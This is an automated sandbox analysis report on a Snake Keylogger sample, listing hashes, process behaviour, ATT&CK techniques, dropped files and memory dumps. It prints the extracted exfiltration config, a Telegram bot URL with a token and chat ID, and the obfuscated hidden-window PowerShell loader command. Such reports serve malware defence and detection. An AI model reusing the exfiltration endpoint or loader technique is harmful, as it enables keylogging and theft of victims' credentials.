snakekeylogger | b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf

Analysis

max time kernel
93s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 03:30

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General

Target

b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe
Size

793KB
MD5

c87c5a7ad95494abcb368fbfbe5508fd
SHA1

0e33726a7647be3c9753240857c4cdfaf7a4b851
SHA256

b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf
SHA512

1d45aabe8e0855f76c6b3a894b35480783f4f9fcde665dc08d90ae43c84962d9cf02971199718fa57a10711b808b16220a76cb3811c25501905380d4887444b9
SSDEEP

24576:mMwhYkaCzmb6f2b/hNZx0PARxFWfcFqal/F4X5Zi:mMwh0Omb7PZq+WfQiX5

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8040460346:AAFN58T9Y0-aqdzScEiebBO06S141L8RsSA/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/2452-205-0x0000000000A00000-0x0000000001C54000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3744	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	2452	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2452	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3744	powershell.exe
2452	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1684	2452	WerFault.exe	97

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3744	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3744	powershell.exe
Token: SeSecurityPrivilege	3744	powershell.exe
Token: SeTakeOwnershipPrivilege	3744	powershell.exe
Token: SeLoadDriverPrivilege	3744	powershell.exe
Token: SeSystemProfilePrivilege	3744	powershell.exe
Token: SeSystemtimePrivilege	3744	powershell.exe
Token: SeProfSingleProcessPrivilege	3744	powershell.exe
Token: SeIncBasePriorityPrivilege	3744	powershell.exe
Token: SeCreatePagefilePrivilege	3744	powershell.exe
Token: SeBackupPrivilege	3744	powershell.exe
Token: SeRestorePrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeSystemEnvironmentPrivilege	3744	powershell.exe
Token: SeRemoteShutdownPrivilege	3744	powershell.exe
Token: SeUndockPrivilege	3744	powershell.exe
Token: SeManageVolumePrivilege	3744	powershell.exe
Token: 33	3744	powershell.exe
Token: 34	3744	powershell.exe
Token: 35	3744	powershell.exe
Token: 36	3744	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 3744	4624	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe	85
PID 4624 wrote to memory of 3744	4624	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe	85
PID 4624 wrote to memory of 3744	4624	b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe	85
PID 3744 wrote to memory of 2452	3744	powershell.exe	97
PID 3744 wrote to memory of 2452	3744	powershell.exe	97
PID 3744 wrote to memory of 2452	3744	powershell.exe	97
PID 3744 wrote to memory of 2452	3744	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe
"C:\Users\Admin\AppData\Local\Temp\b9bc7b1adca24293d38533d4af80b11fd24df9e28b1271f508f3047884b869bf.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Aerobated=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Firtallene.Kon';$omdigtnings=$Aerobated.SubString(53429,3);.$omdigtnings($Aerobated)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2452
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2452 -s 1528
      4⤵
      Program crash
      PID:1684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2452 -ip 2452
1⤵
PID:5020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmg2heir.pcd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Firtallene.Kon

Filesize
52KB

MD5
3bc6283487e6d24c936852451b413c2a

SHA1
8217f7a25aadbe7b9f081d045b6899ef3df052fd

SHA256
61f5a6c21629c953a1759b9f51f6abfcf11e7e4e2d3defe593871f20d1e0715d

SHA512
1b94fe5a7869e223f21b5985fdb8a61bc90b8f4a4be5704ba6008b62f30710fd0da4c34f974d00bb566dee791b6fec41572be06074a6db80c39a46e6757aba2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Wambles\Overmast224.Jdi

Filesize
352KB

MD5
d3e916ba37b993f859d3df7b04ad65c5

SHA1
6f6ba3701e601c3b27bb1274b93d36e7b39b84b1

SHA256
a4ceb200f51d0257fa702196bb751df7786dd7c1b7fbcc814a8fee61972192e9

SHA512
fe5c5d60abdbfbe77cd77ac7a0c7524d0af907940cd8e8156fb9419ac32ffce13e7cc3218c6ccee813539a7a02460af2640bac76729a2d120196f7a4501ada82

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
eb15417d1086d52f880fbba82aad7bb3

SHA1
89cf69b911f98f6444cb115e41c4ec334cca6492

SHA256
e7d37daba3c827b169a8c4825582da95aa4ed863a6b1d4e0536612bec118aea2

SHA512
98c2d74c36f04a3524be8ec3d82033310e60610ee56e4456d961b4a549e3101bc6b62df03e9da76464fe6d3b65e2bba7adb62b5c0b9f6c4b8fe333a854ac947f

Download Submit
memory/2452-205-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/3744-172-0x000000006FB60000-0x000000006FBAC000-memory.dmp

Filesize
304KB

Download
memory/3744-186-0x0000000007AC0000-0x0000000007ACA000-memory.dmp

Filesize
40KB

Download
memory/3744-152-0x0000000005EC0000-0x0000000005F26000-memory.dmp

Filesize
408KB

Download
memory/3744-150-0x0000000005540000-0x0000000005562000-memory.dmp

Filesize
136KB

Download
memory/3744-162-0x0000000005F30000-0x0000000006284000-memory.dmp

Filesize
3.3MB

Download
memory/3744-163-0x0000000006500000-0x000000000651E000-memory.dmp

Filesize
120KB

Download
memory/3744-164-0x0000000006550000-0x000000000659C000-memory.dmp

Filesize
304KB

Download
memory/3744-165-0x00000000075B0000-0x0000000007646000-memory.dmp

Filesize
600KB

Download
memory/3744-166-0x0000000006A30000-0x0000000006A4A000-memory.dmp

Filesize
104KB

Download
memory/3744-167-0x0000000006A80000-0x0000000006AA2000-memory.dmp

Filesize
136KB

Download
memory/3744-168-0x0000000007C00000-0x00000000081A4000-memory.dmp

Filesize
5.6MB

Download
memory/3744-149-0x0000000005890000-0x0000000005EB8000-memory.dmp

Filesize
6.2MB

Download
memory/3744-170-0x0000000008830000-0x0000000008EAA000-memory.dmp

Filesize
6.5MB

Download
memory/3744-171-0x0000000007950000-0x0000000007982000-memory.dmp

Filesize
200KB

Download
memory/3744-173-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-148-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-174-0x0000000070110000-0x0000000070464000-memory.dmp

Filesize
3.3MB

Download
memory/3744-184-0x0000000007990000-0x00000000079AE000-memory.dmp

Filesize
120KB

Download
memory/3744-185-0x00000000079C0000-0x0000000007A63000-memory.dmp

Filesize
652KB

Download
memory/3744-151-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

Download
memory/3744-188-0x0000000007B30000-0x0000000007B54000-memory.dmp

Filesize
144KB

Download
memory/3744-187-0x0000000007B00000-0x0000000007B2A000-memory.dmp

Filesize
168KB

Download
memory/3744-189-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-190-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-191-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-194-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-193-0x00000000736DE000-0x00000000736DF000-memory.dmp

Filesize
4KB

Download
memory/3744-195-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-147-0x0000000002F20000-0x0000000002F56000-memory.dmp

Filesize
216KB

Download
memory/3744-197-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-198-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-199-0x0000000008EB0000-0x000000000DAD1000-memory.dmp

Filesize
76.1MB

Download
memory/3744-200-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-201-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-202-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-204-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/3744-146-0x00000000736DE000-0x00000000736DF000-memory.dmp

Filesize
4KB

Download